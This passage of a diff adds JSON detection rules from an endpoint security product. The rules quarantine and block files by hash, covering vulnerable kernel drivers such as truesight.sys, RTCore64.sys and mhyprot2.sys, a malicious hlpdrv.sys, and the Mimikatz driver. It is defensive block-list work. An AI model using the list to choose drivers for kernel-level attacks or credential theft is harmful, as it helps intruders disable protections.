+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34478417edc805ad6ba9c3962208a46c3174aaba0b7c6e304ed77af70ee5ae5f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9b68f89-5359-560c-a16e-f6118ef9c6a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481676Z",
+  "creation_date": "2026-03-23T11:45:30.481678Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481684Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba6c0c9b64fa739158b5f4465d53e67e574e4b954c8e143cf4e299f5daa65b60",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9bfa9bf-80d9-5f82-a1a6-0147c127de56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480562Z",
+  "creation_date": "2026-03-23T11:45:30.480564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480569Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cf84400c09582ee2911a5b1582332c992d1cd29fcf811cb1dc00fcd61757db0",
+  "comment": "Vulnerable Kernel Driver (aka PDFWKRNL.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9e1984c-cab7-5536-adcd-7ba3f9271911",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607852Z",
+  "creation_date": "2026-03-23T11:45:29.607853Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607859Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2d8dd5dacc24051709f55a35184f5f99aef957a83bd358b0608b4479e1ec24f",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9eceb03-de44-5663-986c-25a5e05787f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984226Z",
+  "creation_date": "2026-03-23T11:45:29.984228Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c9dc878d9605070921338d09c6dbecbe11dec50c03fc69a0462884a07c2c442",
+  "comment": "Vulnerable Kernel Driver (aka AsrOmgDrv.sys) [https://www.loldrivers.io/drivers/3f39af20-802a-4909-a5de-7f6fe7aab350/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da0e13ab-28c0-530c-a1b0-7ea3865f8f02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826120Z",
+  "creation_date": "2026-03-23T11:45:31.826122Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826127Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6a3cda1283cdcbb4599eb0a3337838f61a70c1c0f34bc22c4b97d2c6a19a863",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da157e58-904b-5296-bcc9-418f4efbcfd4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.139994Z",
+  "creation_date": "2026-03-23T11:45:31.140011Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35220d414d92ef023084dde1a8f12c1c2f645b2342a7d18848d48d630f283760",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da42cb82-e009-5157-a5be-7abd6861476b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144193Z",
+  "creation_date": "2026-03-23T11:45:31.144195Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144200Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "426e74e8d62706d5f063c87f4de38d2269db432080b43df8939c026ec9e055e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da45f9d6-b9f3-5de3-b4a9-231f9e6edca6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814981Z",
+  "creation_date": "2026-03-23T11:45:31.814984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814994Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d3321a84669f27c4f53894496a1d57532032c99732a526422a4e641662b4d6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da4743f8-23c8-53df-a06e-2e1875f3c470",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829469Z",
+  "creation_date": "2026-03-23T11:45:31.829471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd74124e2e524ad2ab52444ac56184a33fd5a3df185c7ae71b29b1c86a316c2d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da4b9f77-9b6a-5482-b2f7-89794bfb3c68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454710Z",
+  "creation_date": "2026-03-23T11:45:30.454713Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "342cf884840fc2b48c96398f690a1801ed8ac1ea59305af9e3d070d13ef85601",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot2.sys) [https://www.loldrivers.io/drivers/57354c82-ff9c-4a54-8377-d195e4ff0a26/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da4c3454-bc7d-53f6-9e11-87dbe8dc0453",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829330Z",
+  "creation_date": "2026-03-23T11:45:31.829334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829343Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9f9d255e6405b4fa0ac9baf8776b3f0d9ab302ec7f78f12efdb4399c146983d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da51fe4e-21e4-503f-8f87-5b7eec767fb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604503Z",
+  "creation_date": "2026-03-23T11:45:29.604505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604510Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea80d2e65b03ea918f918d60cc8397aa4ee11eeb7bf679c7813311ff32ed5c81",
+  "comment": "Vulnerable Kernel Driver (aka STProcessMonitor.sys) [https://github.com/ANYLNK/STProcessMonitorBYOVD/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da5817a5-e459-54f0-b3c7-720c6d4d80ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489477Z",
+  "creation_date": "2026-03-23T11:45:31.489480Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489487Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cb2fa8795007c4d8c2079d40ee1b9006ad708bd08492b37b3bbae486d7ab7e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da58922d-e475-5a29-b7ff-d001ac8dfac8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827238Z",
+  "creation_date": "2026-03-23T11:45:31.827241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44fb4cef87bb15c279ec223d2c378de4aea56bbd8277f2f8b3cfec7586c84f4e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da592dab-86f7-566d-9802-0c4de699aa56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980681Z",
+  "creation_date": "2026-03-23T11:45:29.980683Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fec1c641c7151e931aeb0d1ac59a97d6d3b486c482c1df8794e6424e75e6da1a",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da657a56-8e84-50d7-b106-28e81106d396",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829604Z",
+  "creation_date": "2026-03-23T11:45:30.829607Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829616Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9699b885bfce9a6fc0b48484adddd58df1a5ed8161adae1ed58dca1c20c2ea40",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da6b46b5-9843-51de-9971-2c81730ca5b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817215Z",
+  "creation_date": "2026-03-23T11:45:30.817217Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817222Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33d7046a5d41f4010ad5df632577154ed223dac2ab0ca2da57dbf1724db45a57",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da6bd2d0-af9b-5f53-b2bc-5f7d9f50829b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157353Z",
+  "creation_date": "2026-03-23T11:45:31.157355Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e926e55b953059fa579205ab3f550ef4e6a3f811f8f22cc31e3f6fcabbb7e6ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da761c25-3c8b-5809-a823-955365e3f345",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608299Z",
+  "creation_date": "2026-03-23T11:45:29.608301Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608307Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56",
+  "comment": "Malicious Kernel Driver (aka hlpdrv.sys) [https://news.sophos.com/en-us/2025/12/06/inside-shanya-a-packer-as-a-service-fueling-modern-attacks/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da811f79-1969-5bb5-8709-6654fadfeafd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819725Z",
+  "creation_date": "2026-03-23T11:45:30.819727Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bfd24947052bfe9f2979113a7941e40bd7e3a82eaa081a32ad4064159f07c91",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da8af7b7-67b7-5af7-95ce-0d4299fc5b0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829376Z",
+  "creation_date": "2026-03-23T11:45:30.829378Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28a7b5e4850c742cda67a352f4bf078ca9edcb2fbeb1475b3bca565385880219",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "da9de128-f8df-5504-8f20-6632376dc6e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970511Z",
+  "creation_date": "2026-03-23T11:45:29.970513Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "443c0ba980d4db9213b654a45248fd855855c1cc81d18812cae9d16729ff9a85",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
